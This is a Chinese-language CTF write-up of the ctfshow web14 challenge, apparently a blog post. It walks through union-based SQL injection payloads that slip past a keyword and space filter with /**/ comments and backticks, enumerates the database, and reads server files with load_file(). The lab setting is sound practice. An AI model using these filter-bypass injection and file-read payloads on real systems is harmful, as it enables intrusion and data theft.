• ctfshow-web14


    web 14

    打开环境,界面有一段代码

     1  <?php
     2 include("secret.php");
     3 
     4 if(isset($_GET['c'])){
     5     $c = intval($_GET['c']); //获取整数值
     6     sleep($c);//延迟执行当前脚本若干秒。
     7     switch ($c) {
     8         case 1:
     9             echo '$url';
    10             break;
    11         case 2:
    12             echo '@A@';
    13             break;
    14         case 555555:
    15             echo $url;
    16         case 44444:
    17             echo "@A@";
    18             break;
    19         case 3333:
    20             echo $url;
    21             break;
    22         case 222:
    23             echo '@A@';
    24             break;
    25         case 222:
    26             echo '@A@';
    27             break;
    28         case 3333:
    29             echo $url;
    30             break;
    31         case 44444:
    32             echo '@A@';
    33         case 555555:
    34             echo $url;
    35             break;
    36         case 3:
    37             echo '@A@';
    38         case 6000000:
    39             echo "$url";
    40         case 1:
    41             echo '@A@';
    42             break;
    43     }
    44 }
    45 
    46 highlight_file(__FILE__); 

    这段代码很简单,需要进行传参,然后我分别传了1,2,3。当传3的时候会出现一个提示

    pyload: ?c=3 

     那就随手就访问一下吧。

     有一个提示框,进去之后是这样的界面

     遇见这种界面了,恐怕又是sql注入了。此题貌似过滤了空格。那我们看一下源码吧。

    1 <?php
    2     if(preg_match('/information_schema.tables|information_schema.columns|linestring| |polygon/is', $_GET['query'])){
    3         die('@A@');
    4     }
    5 ?>

    我们发现这样一段代码,看来是对一些注入的关键字进行了过滤,其中还包括空格。

    那我们还用/**/来进行空格绕过。对于那些过滤了的关键字我们使用反引号进行绕过。

    那我们开始注入,在输入框里输入 1/**/order/**/by/**/1# 才会不报错,只有一个回显位置。

    然后爆出数据库名: -1/**/union/**/select/**/database()# ,爆出库名web

    爆出表名: -1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema='web'# ,表名为content

    然后爆出字段名: -1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'# ,爆出的字段有:id,username,password

    查看数据: -1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content# 这里提示你:1adminflag is not here!,2gtf1ywow,you can really dance,3Wowtell you a secret,secret has a secret...

    秘密,该不会flag还是在secret里吧。那我们使用load_file()函数访问一下。

     -1/**/union/**/select/**/load_file('/var/www/html/secret.php') ,但是没有显示啊,不过源代码里多出了这样一句代码

    1 alert('<!-- ReadMe -->
    2 <?php
    3 $url = 'here_1s_your_f1ag.php';
    4 $file = '/tmp/gtf1y';
    5 if(trim(@file_get_contents($file)) === 'ctf.show'){
    6     echo file_get_contents('/real_flag_is_here');
    7 }')

    那我们再获取一下/real_flag_is_here里的数据

     感谢yu22x师傅提供的思路。

  • 相关阅读:
    mysql索引需要了解的几个注意
    apache配置--虚拟目录
    简化LINUX的命令输入 简化linux命令 快捷键 短路径
    apache vhost 访问权限配置
    php中常用设置
    win7配置nginx + php
    restful php
    php 笔记 汇总 学习
    mysql修改表结构
    mysql 优化工具
  • 原文地址:https://www.cnblogs.com/awsole/p/14388624.html
Copyright © 2020-2023  润新知